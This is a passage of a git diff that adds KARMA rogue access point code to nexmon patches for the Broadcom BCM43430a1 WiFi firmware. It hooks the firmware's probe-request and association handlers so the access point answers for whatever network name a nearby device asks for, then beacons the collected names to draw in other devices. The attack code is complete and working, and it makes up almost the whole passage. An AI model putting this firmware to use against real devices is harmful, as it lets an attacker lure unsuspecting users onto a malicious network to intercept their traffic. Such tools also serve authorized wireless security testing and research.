+ uint8 SSID_PRQ_LEN, SSID_BSS_LEN;
+
+ //uint32 *ui_debug = (uint32*) &(wlc->eventq);
+
+ wlc_bsscfg_t *cfg;
+ bcm_tlv_t *ssid;
+
+ int len; //stores beacon template length
+
+
+ //early out if KARMA probe responding disabled
+ if (!g_mame82_conf->karma_probes) return;
+
+
+ if ((ssid = bcm_parse_tlvs(body, body_len, DOT11_MNG_SSID_ID)) != NULL)
+ {
+ void *p;
+ uint8 *pbody;
+
+
+ //store recieved SSID
+ memset(SSID_PRQ, 0, 32);
+ memcpy(SSID_PRQ, ssid->data, ssid->len);
+ SSID_PRQ_LEN = (*ssid).len;
+
+ print_dbg("Probe Request received for SSID %s\n", SSID_PRQ);
+
+ //Use current address as BSSID when searching for BSSCFG
+ cfg = wlc_bsscfg_find_by_bssid(wlc, &wlc->pub->cur_etheraddr);
+
+ if (cfg == NULL)
+ {
+ print_dbg("Invalid bsscfg %p, aborting...", cfg);
+ return;
+ }
+ else print_dbg("Using bsscfg at: %p\n", cfg); //Structs have to be update to fetch index of bsscfg + wlc_if + (bool) _ap
+
+
+ //backup original SSID
+ memcpy(SSID_BSS, cfg->SSID, 32); //Padding 0x00 bytes are already included
+ SSID_BSS_LEN = (*cfg).SSID_len;
+
+ print_dbg("PRQ SSID %s (%d), BSS SSID %s (%d)\n", SSID_PRQ, SSID_PRQ_LEN, SSID_BSS, SSID_BSS_LEN);
+
+ len = wlc->pub->bcn_tmpl_len; //should be 512
+ print_dbg("bcn_tmpl_len %d\n", len);
+
+ /* build pkt buf with 802.11 MGMT frame HDR, based on current ethernet address (for SA/BSSID) and PRQ SA as DA*/
+ //p = wlc_frame_get_mgmt(wlc, FC_PROBE_RESP, &hdr->sa, &bsscfg->cur_etheraddr, &bsscfg->BSSID, len, &pbody)
+ p = wlc_frame_get_mgmt(wlc, FC_PROBE_RESP, &hdr->sa, &wlc->pub->cur_etheraddr, &wlc->pub->cur_etheraddr, len, &pbody);
+
+
+
+ if (p == NULL)
+ {
+ printf("PROBE_RESP_GEN: wlc_frame_get_mgmt failed\n");
+ }
+ else
+ {
+ /*
+ * The frame body (payload with IEs including SSID) is build based on the given bsscfg.
+ * This means the resulting PROBERESP wouldn't contain the SSID of the PROBEREQUEST, but
+ * the one of the sscfg in use.
+ * To overcome this, the're two ways:
+ * 1) Generate the PRBRESP with wlc_bcn_prb_body and modify the packet afterwards
+ * (complicated as SSID IE len would likely change)
+ *
+ * 2) Temp. change the SSID of the current bsscfg to match the PROBE REQUEST
+ * befor calling wlc_bcn_prb_body. (Easy, but dirty ... anyway, preferred solution)
+ */
+
+
+ //Exchange SSID of bsscfg
+ memcpy(cfg->SSID, SSID_PRQ, 32);
+ cfg->SSID_len = SSID_PRQ_LEN;
+
+ //generate frame body
+ wlc_bcn_prb_body(wlc, FC_PROBE_RESP, cfg, pbody, &len, FALSE);
+
+ //Restore SSID of bsscfg
+ memcpy(cfg->SSID, SSID_BSS, 32);
+ cfg->SSID_len = SSID_BSS_LEN;
+
+ //set PKT len
+ ((sk_buff*) p)->len = len + DOT11_MGMT_HDR_LEN;
+
+ print_dbg("PRBRES len %d\nSending Probe Response for %s..\n", ((sk_buff*) p)->len, SSID_PRQ);
+// print_mem(((sk_buff*) p)->data, 60);
+
+
+ wlc_sendmgmt(wlc, p, wlc->wlcif_list->qi, NULL);
+ //sendframe(wlc, p, 1, 0); //sends the packets without crashing for new sk_buff allocs by wlc_frame_get_mgmt
+
+
+
+ //If beaconing enabled, add to SSID list
+ if (g_mame82_conf->karma_beacons)
+ {
+ if (validate_ssid(g_mame82_conf->ssids_karma, (char*) SSID_PRQ, SSID_PRQ_LEN))
+ {
+ append_ssid(g_mame82_conf->ssids_karma, (char*) SSID_PRQ, SSID_PRQ_LEN, g_mame82_conf->max_karma_beacon_ssids);
+ }
+ else print_dbg("SSID '%s' already present or empty, not added to beaconing list\n");
+ }
+
+
+ //print_mem(pbody, 80);
+ }
+
+ } //end of if SSID
+}
+
+void wlc_recv_mgmt_ctl_hook(struct wlc_info *wlc, void *osh, void *wrxh, void *p)
+{
+ /*
+ * This hook does nothing but printing debug output for MGMT / CONTROL frames
+ */
+
+ struct ether_addr cur_addr = wlc->pub->cur_etheraddr;
+ uint8 *plcp;
+ struct dot11_management_header *hdr;
+ uint16 fc, ft, fk;
+ char eabuf[ETHER_ADDR_STR_LEN];
+
+ if (g_mame82_conf->debug_out)
+ {
+
+ if (g_mame82_conf->karma_probes) printf("Karma probe responding enabled\n");
+ else printf("Karma probe responding disabled\n");
+ if (g_mame82_conf->karma_assocs) printf("Karma assoc responding enabled\n");
+ else printf("Karma assoc responding disabled\n");
+ if (g_mame82_conf->karma_beacons) printf("Karma beaconing enabled\n");
+ else printf("Karma beaconing disabled\n");
+ }
+ else
+ {
+ //early out if DEBUG output is off, as this hook does nothing else right now
+ wlc_recv_mgmt_ctl(wlc, osh, wrxh, p);
+ return;
+ }
+
+ plcp = PKTDATA(osh, p); //fetch packet
+
+ hdr = (struct dot11_management_header*)(plcp + D11_PHY_HDR_LEN); //offset behind D11 header and cast to 802.11 header struct
+
+ fc = ltoh16(hdr->fc); //Account for endianess of frames FC field
+ ft = FC_TYPE(fc); //Frame Type (MGMT / CTL / DATA)
+ fk = (fc & FC_KIND_MASK); //Frame Kind (ASSOC; PROBEREQUEST etc.)
+
+ //early out on none PROBE frames
+ if (fk != FC_PROBE_REQ)
+ {
+ wlc_recv_mgmt_ctl(wlc, osh, wrxh, p);
+ return;
+ }
+
+
+ printf("wl%d ether %x:%x:%x:%x:%x:%x: wlc_recv_mgmt_ctl\n",
+ wlc->pub->unit,
+ cur_addr.octet[0],
+ cur_addr.octet[1],
+ cur_addr.octet[2],
+ cur_addr.octet[3],
+ cur_addr.octet[4],
+ cur_addr.octet[5]
+ );
+
+
+ printf("Frame data\n===================\n\n");
+ printf("FC:\t%04x\n", fc);
+ printf("Frame Type:\t%04x\n", ft);
+ printf("Frame Kind:\t%04x\n", fk);
+ printf(" da:\t\t"); print_mac(hdr->da); printf("\n");
+ printf(" sa:\t\t"); print_mac(hdr->sa); printf("\n");
+ printf(" bssid:\t"); print_mac(hdr->bssid); printf("\n");
+
+ switch(fk)
+ {
+ case FC_PROBE_REQ:
+ printf("Frame is PROBE REQUEST\n");
+ bcm_ether_ntoa(&hdr->sa, eabuf); //Test Firmware String conversion of MAC-Address
+ printf("SA %s\n", eabuf);
+ break;
+ }
+
+
+ // call legacy method
+ wlc_recv_mgmt_ctl(wlc, osh, wrxh, p);
+}
+
+void wlc_ap_process_assocreq_hook(void *ap, wlc_bsscfg_t *bsscfg, struct dot11_management_header *hdr, uint8 *body, uint body_len, struct scb *scb, bool short_preamble)
+{
+ int ie_offset = 4;
+
+ bcm_tlv_t *ssid;
+ uint8 *SSID_ASC[32]; //ssid of received probe request
+ uint8 *SSID_BSS[32]; //ssid of bsscfg used
+ uint8 SSID_ASC_LEN, SSID_BSS_LEN;
+
+
+ ssid_list_t* ssid_list_entry;
+
+ //early out if KARMA association responding disabled
+ if (!g_mame82_conf->karma_assocs)
+ {
+ wlc_ap_process_assocreq(ap, bsscfg, hdr, body, body_len, scb, short_preamble);
+ return;
+ }
+
+ print_dbg("wlc_ap_process_assocreq_hook called\n---------------------\n");
+
+
+ if ((ssid = bcm_parse_tlvs(body + ie_offset, body_len - ie_offset, DOT11_MNG_SSID_ID)) != NULL)
+ {
+ //Copy SSID of ASSOC
+ memset(SSID_ASC, 0, 32);
+ memcpy(SSID_ASC, ssid->data, ssid->len);
+ SSID_ASC_LEN = (*ssid).len;
+
+ //Copy SSID of BSSCFG SSID
+ memcpy(SSID_BSS, bsscfg->SSID, 32);
+ SSID_BSS_LEN = (*bsscfg).SSID_len;
+
+ print_dbg("ASSOC REQ for SSID '%s' (%d), AP has SSID '%s' (%d)\n", SSID_ASC, SSID_ASC_LEN, SSID_BSS, SSID_BSS_LEN);
+
+ //Exchange SSID of BSS with the one from ASSOC before handling the frame
+ memcpy(bsscfg->SSID, SSID_ASC, 32);
+ bsscfg->SSID_len = SSID_ASC_LEN;
+
+ //generate frame
+ wlc_ap_process_assocreq(ap, bsscfg, hdr, body, body_len, scb, short_preamble);
+
+ //in case the SSID is listed for beaconing, inc the assoc_req count
+ ssid_list_entry = get_ssid_entry(g_mame82_conf->ssids_custom, (char*) SSID_ASC, SSID_ASC_LEN);
+ if (ssid_list_entry) ssid_list_entry->assoc_req++;
+ ssid_list_entry = get_ssid_entry(g_mame82_conf->ssids_karma, (char*) SSID_ASC, SSID_ASC_LEN);
+ if (ssid_list_entry) ssid_list_entry->assoc_req++;
+
+ //Restore SSID of bsscfg
+ memcpy(bsscfg->SSID, SSID_BSS, 32);
+ bsscfg->SSID_len = SSID_BSS_LEN;
+ }
+ else
+ {
+ printf("SSID couldn't be extracted from ASSOC REQ\n");
+ print_mem(body, 30);
+
+ //The legacy method is already overwritten by a flaspatch (53)
+ wlc_ap_process_assocreq(ap, bsscfg, hdr, body, body_len, scb, short_preamble);
+ }
+
+}
+
+
+void hook_wlc_bss_up_from_wlc_bsscfg_up(wlc_ap_info_t *ap, wlc_bsscfg_t *bsscfg)
+{
+ struct wlc_info *wlc;
+
+ uint8 *pkt_data = NULL;
+ int pkt_len = 0;
+ uint16 *template = NULL;
+ uint8 skip_ssid_len = 0;
+
+ printf("Called hook for 'wlc_bss_up' from 'wlc_bsscfg_up'\n");
+
+ wlc_bss_up(ap, bsscfg);
+
+ /*
+ * Everything beyond this point is meant to allow KARMA beaconing + multiple SSID beaconing
+ * which couldn't be disable right now.
+ * - the code creates a template for a beacon frame according to the APs bsscfg (fixed parameters + tagged params like supported rates
+ * only the IE of the SSID isn't stored)
+ * - a timer is added to beacon every 100ms (loops through list of ssids and dynamically creates sk_buff from the template + ssid entry of the list and sends it)
+ * - SSIDs for beaconing are stored in the list 'g_mame82_conf->ssids_karma'
+ * - autostart.c adds 3 static SSIDs to the list ("tEst0", "tEst1" and "tEst2")
+ * - the rest of the list is filled with SSIDs from received probe requests (KARMA LOUD)
+ * - the list is limited to 40 entries right now (see send_beacons for details on performance)
+ *
+ * Stopping the AP, doesn't remove the timer right now.
+ * Stop / Restart of AP doesn't free used ressources, right now
+ *
+ * There's no thread synchronization on the list 'g_mame82_conf->ssids_karma', which could be a problem
+ * because it is likely that the code adding list entries and the code of the timer (iterates over the list)
+ * don't use the same thread context. The variables in use are global.
+ *
+ * SSIDs aren't deleted from the list once added. This could be done by some logic, which deletes SSIDs
+ * without associating STAs after a timeout of some seconds.
+ *
+ * An ioctl to add static SSIDs needs to be added
+ *
+ * KARMA should be extended to accept connections for different BSSIDs, thus beacons with multiple SA/BSSID
+ * could be generated. It seems up to 0x20 bsscfg could be handled by the firmware, while only a few are in use.
+ */
+
+
+
+// printf("after wlc_bss_up\n");
+// print_bsscfg(bsscfg);
+
+ //assure the BSSCFG is for a AP and UP
+ if (!BSSCFG_AP_ENABLED(bsscfg)) return;
+
+ //store the cfg globally
+ if (g_AP_bsscfg)
+ {
+ printf("There's already an AP bsscfg, so this is a reconfiguratio / restart of the AP\n");
+
+ //ToDo: Free old bsscfg dependent resources
+ // - global sk_buffs + template buffers
+ // - check if timer is already initialized and only has to be added again !! The timer has to be deleleted on bss_down !!
+ }
+ else
+ {
+
+ //Create a beacon frame for the BSSCFG
+ g_AP_bsscfg = bsscfg;
+ wlc = bsscfg->wlc;
+
+
+ pkt_len = wlc->pub->bcn_tmpl_len;
+ template = (uint16 *) malloc(pkt_len, 2);
+ pkt_data = (uint8 *) template;
+
+ ratespec_t rspec = wlc_lowest_basic_rspec(wlc, &g_AP_bsscfg->current_bss->rateset);
+ wlc_bcn_prb_template(wlc, FC_BEACON, rspec, g_AP_bsscfg, template, &pkt_len);
+ pkt_data = (uint8 *) template;
+ //Drop PHY header
+ pkt_data += D11_PHY_HDR_LEN;
+ pkt_len -= D11_PHY_HDR_LEN;
+ //Drop 802.11 MGMT HEADER (should end with same buffer like body data of method1, but without having a sk_buff generated)
+ pkt_data += DOT11_MGMT_HDR_LEN;
+ pkt_len -= DOT11_MGMT_HDR_LEN;
+
+ //store head part of beacon payload (up till first IE, which should be the SSID)
+ g_beacon_template_head = (void*) pkt_data;
+ pkt_data += sizeof(beacon_fixed_params_t);
+ pkt_len -= sizeof(beacon_fixed_params_t);
+
+ //skip SSID
+ if (*pkt_data != 0) //Check type field (0: SSID)
+ {
+ printf("First IE isn't SSID, aborting ... \n");
+ //ToDo: free template buffer
+ }
+ pkt_data += 1; //Skip type field
+ pkt_len -= 1;
+ skip_ssid_len = *pkt_data + 1; //The byte for the SSID IE length field is added to skip size
+ pkt_data += skip_ssid_len;
+ pkt_len -= skip_ssid_len;
+
+ //store tail + remaining length
+ g_beacon_template_tail = pkt_data;
+ g_beacon_template_tail_len = pkt_len;
+
+ /** Prepare beaconing timer **/
+ if (!g_bcn_tmr)
+ {
+ g_bcn_tmr = hndrte_init_timer(0, wlc, bcn_tmr_hndl, 0);
+ hndrte_add_timer(g_bcn_tmr, 100, 1);
+
+ //Note: we could remove the timer, when the AP is "downed" and add it again on up,
+ // but we keep it running always. This is because the timer isn't only used to send beacons for
+ // spotted probe requests (KARMA LOUD), we additionally use it for sending user defined SSIDs.
+ }
+
+ }
+}
+
+struct ether_addr broadcast_mac = { .octet = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF } };
+
+void send_beacons(struct wlc_info *wlc, wlc_bsscfg_t *bsscfg, beacon_fixed_params_t *beacon_template_head, uint8 *beacon_template_tail, uint beacon_template_tail_len, ssid_list_t *ssids)
+{
+ /*
+ * sk_buff has to be recreated per send (seems it gets freed after sending)
+ *
+ * This could maybe be avoided by using nexmon's sendframe (no queue involved) and reusing the sk_buff
+ * (replace the payload and resend)
+ */
+
+ /*
+ * Notes on performance tests:
+ * - This codes manages to send one beacon about every 2ms (including sk_buff creation and debug out)
+ * - The time manages to restart the code in less than 100ms, when a station is connected and communicating
+ * - SSIDs to beacon for should be hard limited to a count <50 (this should be fine, as the implementytion of this firmware only manages 0x20 bsscfg's
+ * this is likely true for others)
+ * - currently every beacon is send with the same BSSID/SA, so depending on the target STA this could look like a fast name change of SSID while the AP
+ * stays the same - on the other hand, this allows association with this BSSID for (independent of the spotted beacon/probe_resp = KARMA)
+ */
+
+ bcm_tlv_t *inject_ssid;
+
+
+
+ sk_buff* beacon;
+ uint8* beacon_body; //points to data part of sk_buff where BEACON body starts
+ void *buf_pos; //points to current pos in data part of sk_buff
+
+ char *cur_ssid;
+ uint8 cur_ssid_len;
+ ssid_list_t *current = ssids;
+// int i = 0;
+
+ if (!bsscfg) return; //early out (it should be an AP_bsscfg)
+ if (!ssids) return; //early out
+
+
+ while (current->next != NULL)
+ {
+ current = current->next;
+ cur_ssid_len = current->len_ssid;
+ cur_ssid = current->ssid;
+
+// printf("Beaconing for SSID '%s' at idx %d\n", cur_ssid, i);
+// i++;
+
+ beacon = wlc_frame_get_mgmt(wlc, FC_BEACON, &broadcast_mac, &wlc->pub->cur_etheraddr, &wlc->pub->cur_etheraddr, wlc->pub->bcn_tmpl_len, &beacon_body);
+
+ buf_pos = skb_pull(beacon, DOT11_MGMT_HDR_LEN);
+ memcpy(beacon_body, beacon_template_head, sizeof(beacon_fixed_params_t));
+ buf_pos += sizeof(beacon_fixed_params_t);
+
+ //we should point to IE for SSID now, cast it to a tlv
+ inject_ssid = (bcm_tlv_t *) buf_pos;
+ inject_ssid->id = 0;
+ inject_ssid->len = cur_ssid_len;
+ memcpy(&inject_ssid->data, cur_ssid, cur_ssid_len);
+ buf_pos += cur_ssid_len + 2;
+
+ //append beacon tail
+ memcpy(buf_pos, beacon_template_tail, beacon_template_tail_len);
+
+ //adjust length (DOT11 mgmt headers not included, as sk_buf->data is pointing at payload, not at 80211 HDR
+ beacon->len = sizeof(beacon_fixed_params_t) + cur_ssid_len + 2 + beacon_template_tail_len;
+
+ //adjust sk_buff to include 80211 MGMT Hdrs
+ skb_push(beacon, DOT11_MGMT_HDR_LEN);
+
+/*
+ //debug out
+ printf("Beacon len %d\n", beacon->len);
+ print_mem(beacon->data, 60);
+*/
+
+// wlc_sendmgmt(wlc, beacon, wlc->wlcif_list->qi, NULL); //sends the packet but crashes after too many sk_buff allocs (doesn't free ??)
+ sendframe(wlc, beacon, 1, 0); //sends the packets without crashing for new sk_buff allocs by wlc_frame_get_mgmt
+
+
+// PKTFREE(wlc->osh, beacon, 1); //free sk_buff of beacon, but send it first
+
+ //increase counter for beacon tx (we don't care about uint overflow)
+ current->bcn_snd++;
+
+ if (!(current->bcn_snd % 100)) printf("Beacon tx count for '%s' is %d, assoc_req count is %d\n", inject_ssid->data, current->bcn_snd, current->assoc_req);
+ }
+
+}
+
+
+__attribute__((at(0x0084822a, "flashpatch", CHIP_VER_BCM43430a1, FW_VER_7_45_41_46)))
+BLPatch(hook_wlc_bss_up_from_wlc_bsscfg_up, hook_wlc_bss_up_from_wlc_bsscfg_up);
+
+
+__attribute__((at(0x012da2, "", CHIP_VER_BCM43430a1, FW_VER_7_45_41_46)))
+BPatch(wlc_recv_mgmt_ctl_hook, wlc_recv_mgmt_ctl_hook);
+
+
+__attribute__((at(0x00820b9a, "flashpatch", CHIP_VER_BCM43430a1, FW_VER_7_45_41_46)))
+BLPatch(wlc_recv_process_prbreq_hook, wlc_recv_process_prbreq_hook);
+
+
+//hook the call to wlc_ap_process_assocreq in wlc_recv_mgmt_ctl (0x00820f2e bl wlc_ap_process_assocreq)
+__attribute__((at(0x00820f2e, "flashpatch", CHIP_VER_BCM43430a1, FW_VER_7_45_41_46)))
+BLPatch(wlc_ap_process_assocreq_hook, wlc_ap_process_assocreq_hook);
diff --git a/patches/bcm43430a1/7_45_41_46/nexmon/src/karma.h b/patches/bcm43430a1/7_45_41_46/nexmon/src/karma.h
new file mode 100644
index 000000000..8e221c35f
--- /dev/null
+++ b/patches/bcm43430a1/7_45_41_46/nexmon/src/karma.h
@@ -0,0 +1,253 @@
+#define NULL ((void *)0)
+#define FALSE 0
+#define MIN(a,b) ((a) < (b) ? (a) : (b))
+#define MAX(a,b) ((a) > (b) ? (a) : (b))
+
+/*
+#define MAME82_KARMA_PROBE_RESP (1 << 0)
+#define MAME82_KARMA_ASSOC_RESP (1 << 1)
+#define MAME82_KARMA_DEBUG (1 << 2)
+#define MAME82_KARMA_BEACONING (1 << 3)
+#define MAME82_ENABLE_OPTION(var, opt) ({ uint32 _opt = (opt); (var) |= _opt; })
+#define MAME82_DISABLE_OPTION(var, opt) ({ uint32 _opt = (opt); (var) &= ~_opt; })
+#define MAME82_IS_ENABLED_OPTION(var, opt) ({ uint32 _opt = (opt); (var) & _opt; })
+*/
+
+#define DOT11_MGMT_HDR_LEN 24 /* d11 management header length */
+#define D11_PHY_HDR_LEN 6
+#define OSL_PKTTAG_SZ 32
+
+#define PKTDATA(osh, skb) (((struct sk_buff*)(skb))->data)
+
+#define ETHER_ADDR_STR_LEN 18
+
+/* 802.11 Frame Header Defs */
+
+#define FC_TYPE_MASK 0xC
+#define FC_SUBTYPE_MASK 0xF0
+#define FC_TYPE_SHIFT 2
+#define FC_SUBTYPE_SHIFT 4
+#define FC_TYPE(fc) (((fc) & FC_TYPE_MASK) >> FC_TYPE_SHIFT)
+#define FC_KIND_MASK (FC_TYPE_MASK | FC_SUBTYPE_MASK)
+
+
+#define FC_TYPE_MNG 0
+#define FC_TYPE_CTL 1
+#define FC_TYPE_DATA 2
+
+#define FC_SUBTYPE_ASSOC_RESP 1 /* assoc. response */
+#define FC_SUBTYPE_REASSOC_REQ 2 /* reassoc. request */
+#define FC_SUBTYPE_REASSOC_RESP 3 /* reassoc. response */
+#define FC_SUBTYPE_PROBE_REQ 4 /* probe request */
+#define FC_SUBTYPE_PROBE_RESP 5 /* probe response */
+#define FC_SUBTYPE_BEACON 8 /* beacon */
+#define FC_SUBTYPE_ATIM 9 /* ATIM */
+#define FC_SUBTYPE_DISASSOC 10 /* disassoc. */
+#define FC_SUBTYPE_AUTH 11 /* authentication */
+#define FC_SUBTYPE_DEAUTH 12 /* de-authentication */
+#define FC_SUBTYPE_ACTION 13 /* action */
+#define FC_SUBTYPE_ACTION_NOACK 14 /* action no-ack */
+
+#define FC_KIND(t, s) (((t) << FC_TYPE_SHIFT) | ((s) << FC_SUBTYPE_SHIFT))
+#define FC_ASSOC_RESP FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_ASSOC_RESP) /* assoc. response */
+#define FC_REASSOC_REQ FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_REASSOC_REQ) /* reassoc. request */
+#define FC_REASSOC_RESP FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_REASSOC_RESP) /* reassoc. response */
+#define FC_PROBE_REQ FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_PROBE_REQ) /* probe request */
+#define FC_PROBE_RESP FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_PROBE_RESP) /* probe response */
+#define FC_BEACON FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_BEACON) /* beacon */
+#define FC_ATIM FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_ATIM) /* ATIM */
+#define FC_DISASSOC FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_DISASSOC) /* disassoc */
+#define FC_AUTH FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_AUTH) /* authentication */
+#define FC_DEAUTH FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_DEAUTH) /* deauthentication */
+#define FC_ACTION FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_ACTION) /* action */
+#define FC_ACTION_NOACK FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_ACTION_NOACK) /* action no-ack */
+
+#define DOT11_MNG_SSID_ID 0
+
+
+/*** Custom structs ***/
+typedef struct ssid_list
+{
+ struct ssid_list *next;
+ char ssid[33]; //max len is 32, one additional byte to assure null termination in case we gonna use printf
+ uint8 len_ssid;
+ uint assoc_req; // spotted assoc requests for this SSID (only incremented if MAME82_KARMA_ASSOC_RESP enabled)
+ uint bcn_snd; // count of transmitted beacons for this ssid
+} ssid_list_t;
+
+#define MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE 1 //answer every spotted probe request with a corresponding probe response (matching SSID)
+#define MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC 2 //answer every spotted association request with a corresponding association response (matching SSID)
+#define MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA 3 //enable KARMA PROBE and ASSOC
+#define MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON 4 //Start BEACONING for spotted probe requests (if one STA probes for an SSID, other STAs see the same AP)
+
+//uint32 defining how many beacons are sent for an SSID spotted in a probe request (KARMA_BEACON) without receiving an association request, before beaconing is stopped
+//a value of 0 means beacons are sent forever
+#define MAME82_IOCTL_ARG_TYPE_SET_KARMA_BEACON_AUTO_REMOVE_COUNT 5
+//uint32 defining how many beacons are sent for a custom SSID without receiving an association request, before beaconing is stopped
+//a value of 0 means beacons are sent forever
+#define MAME82_IOCTL_ARG_TYPE_SET_CUSTOM_BEACON_AUTO_REMOVE_COUNT 6
+
+#define MAME82_IOCTL_ARG_TYPE_ADD_CUSTOM_SSID 7 //Add a custom SSID for which beacons should be send
+#define MAME82_IOCTL_ARG_TYPE_DEL_CUSTOM_SSID 8 //Delete the given custom SSID (stop sending beacons), the default SSID used by hostapd always remains
+#define MAME82_IOCTL_ARG_TYPE_CLEAR_CUSTOM_SSIDS 9 //Delete all custom SSID (stop sending beacons), the default SSID used by hostapd always remains
+#define MAME82_IOCTL_ARG_TYPE_CLEAR_KARMA_SSIDS 10 //Delete all SSIDs added for spotted probe requests (stop sending beacons for them), the default SSID used by hostapd always remains
+#define MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS 11 //allow sending user specified beacons (not from probes)
+
+
+#define MAME82_IOCTL_ARG_TYPE_GET_CONFIG 100 //dump the config struct
+#define MAME82_IOCTL_ARG_TYPE_GET_MEM 101 //dump the config struct
+
+
+typedef struct mame82_config
+{
+ bool karma_probes;
+ bool karma_assocs;
+ bool karma_beacons;
+ bool custom_beacons;
+ bool debug_out;
+ ssid_list_t *ssids_custom;
+ ssid_list_t *ssids_karma;
+ uint32 karma_beacon_autoremove;
+ uint32 custom_beacon_autoremove;
+ uint8 max_karma_beacon_ssids;
+ uint8 max_custom_beacon_ssids;
+} mame82_config_t;
+
+
+typedef struct mame82_ioctl_arg
+{
+ uint32 type;
+ uint32 len;
+ uint8 val[1];
+} mame82_ioctl_arg_t;
+
+void clear_ssids(ssid_list_t *head);
+ssid_list_t* append_ssid(ssid_list_t *head, char* ssid, uint8 ssid_len, uint8 upper_bound);
+ssid_list_t* get_ssid_entry(ssid_list_t *head, char* ssid, uint8 ssid_len);
+int validate_ssid(ssid_list_t *head, char* ssid, uint8 ssid_len);
+void remove_entries_without_assoc_after_beacons(ssid_list_t *head, uint beacon_limit);
+void remove_entries_with_ssid(ssid_list_t *head, char* ssid, uint8 ssid_len);
+void sscfg_iter_test(struct wlc_info *wlc);
+/*** End custom structs ***/
+
+typedef uint8 uchar;
+
+/** Management frame header */
+struct dot11_management_header {
+ uint16 fc; /* frame control */
+ uint16 durid; /* duration/ID */
+ struct ether_addr da; /* receiver address */
+ struct ether_addr sa; /* transmitter address */
+ struct ether_addr bssid; /* BSS ID */
+ uint16 seq; /* sequence control */
+};
+
+
+/** D11 structs/types **/
+#define WL_RSSI_ANT_MAX 4 //Max possible RX antennas
+
+typedef struct d11rxhdr {
+ uint16 RxFrameSize; /* Actual byte length of the frame data received */
+
+ uint8 dma_flags; /* bit 0 indicates short or long rx status. 1 == short. */
+ uint8 fifo; /* rx fifo number */
+
+ uint16 PhyRxStatus_0; /* PhyRxStatus 15:0 */
+ uint16 PhyRxStatus_1; /* PhyRxStatus 31:16 */
+ uint16 PhyRxStatus_2; /* PhyRxStatus 47:32 */
+ uint16 PhyRxStatus_3; /* PhyRxStatus 63:48 */
+ uint16 PhyRxStatus_4; /* PhyRxStatus 79:64 */
+ uint16 PhyRxStatus_5; /* PhyRxStatus 95:80 */
+ uint16 RxStatus1; /* MAC Rx Status */
+ uint16 RxStatus2; /* extended MAC Rx status */
+ uint16 RxTSFTime; /* RxTSFTime time of first MAC symbol + M_PHY_PLCPRX_DLY */
+ uint16 RxChan; /* Rx channel info or chanspec */
+ uint16 RxFameSize_0; /* size of rx-frame in fifo-0 in case frame is copied to fifo-1 */
+ uint16 HdrConvSt; /* hdr conversion status. Copy of ihr(RCV_HDR_CTLSTS). */
+ uint16 AvbRxTimeL; /* AVB RX timestamp low16 */
+ uint16 AvbRxTimeH; /* AVB RX timestamp high16 */
+ uint16 MuRate; /* MU rate info (bit3:0 MCS, bit6:4 NSTS) */
+ uint16 Pad; /* Reserved to make 4-bytes align. */
+} d11rxhdr_t;
+
+typedef struct wlc_d11rxhdr wlc_d11rxhdr_t;
+struct wlc_d11rxhdr {
+ /* Even though rxhdr can be in short or long format, always declare it here
+ * to be in long format. So the offsets for the other fields are always the same.
+ */
+ d11rxhdr_t rxhdr;
+ uint32 tsf_l; /* TSF_L reading */
+ int8 rssi; /* computed instantaneous rssi in BMAC */
+ int8 rssi_qdb; /* qdB portion of the computed rssi */
+ int8 do_rssi_ma; /* do per-pkt sampling for per-antenna ma in HIGH */
+ int8 rxpwr[WL_RSSI_ANT_MAX]; /* rssi for supported antennas */
+};
+
+/** Probe Response related structs/types **/
+/*
+#define WLC_PROBRESP_MAXFILTERS 3
+
+
+typedef bool (*probreq_filter_fn_t)(void *handle, wlc_bsscfg_t *cfg, wlc_d11rxhdr_t *wrxh, uint8 *plcp, struct dot11_management_header *hdr, uint8 *body, int body_len, bool *psendProbeResp);
+
+typedef struct probreqcb {
+ void *hdl;
+ probreq_filter_fn_t filter_fn;
+} probreqcb_t;
+
+typedef struct wlc_probresp_info {
+ wlc_info_t *wlc;
+ probreqcb_t probreq_filters[WLC_PROBRESP_MAXFILTERS];
+ int p2p_index;
+} wlc_probresp_info_t;
+*/
+
+typedef struct bcm_tlv {
+ uint8 id;
+ uint8 len;
+ uint8 data[1];
+} bcm_tlv_t;
+typedef struct dot11_management_header dot11_management_header_t;
+
+/* Endianess Conversion */
+#define SWAP16(val) ((uint16)((((uint16)(val) & (uint16)0x00ffU) << 8) | (((uint16)(val) & (uint16)0xff00U) >> 8)))
+#define SWAP32(val) ((uint32)((((uint32)(val) & (uint32)0x000000ffU) << 24) | (((uint32)(val) & (uint32)0x0000ff00U) << 8) | (((uint32)(val) & (uint32)0x00ff0000U) >> 8) | (((uint32)(val) & (uint32)0xff000000U) >> 24)))
+#define swap16(val) ({ uint16 _val = (val); SWAP16(_val); })
+#define swap32(val) ({ uint32 _val = (val); SWAP32(_val); })
+
+/*
+#define LTOH16(i) swap16(i)
+#define ltoh16(i) swap16(i)
+#define LTOH32(i) swap32(i)
+#define ltoh32(i) swap32(i)
+#define HTOL16(i) swap16(i)
+#define htol16(i) swap16(i)
+#define HTOL32(i) swap32(i)
+#define htol32(i) swap32(i)
+*/
+
+#define LTOH16(i) (i)
+#define ltoh16(i) (i)
+#define LTOH32(i) (i)
+#define ltoh32(i) (i)
+#define HTOL16(i) (i)
+#define htol16(i) (i)
+#define HTOL32(i) (i)
+#define htol32(i) (i)
+
+/** bsscfg related **/
+#define WLC_MAXBSSCFG 0x20
+//#define BSS_MATCH_WLC(_wlc, cfg) TRUE
+#define BSS_MATCH_WLC(_wlc, cfg) ((_wlc) == ((cfg)->wlc))
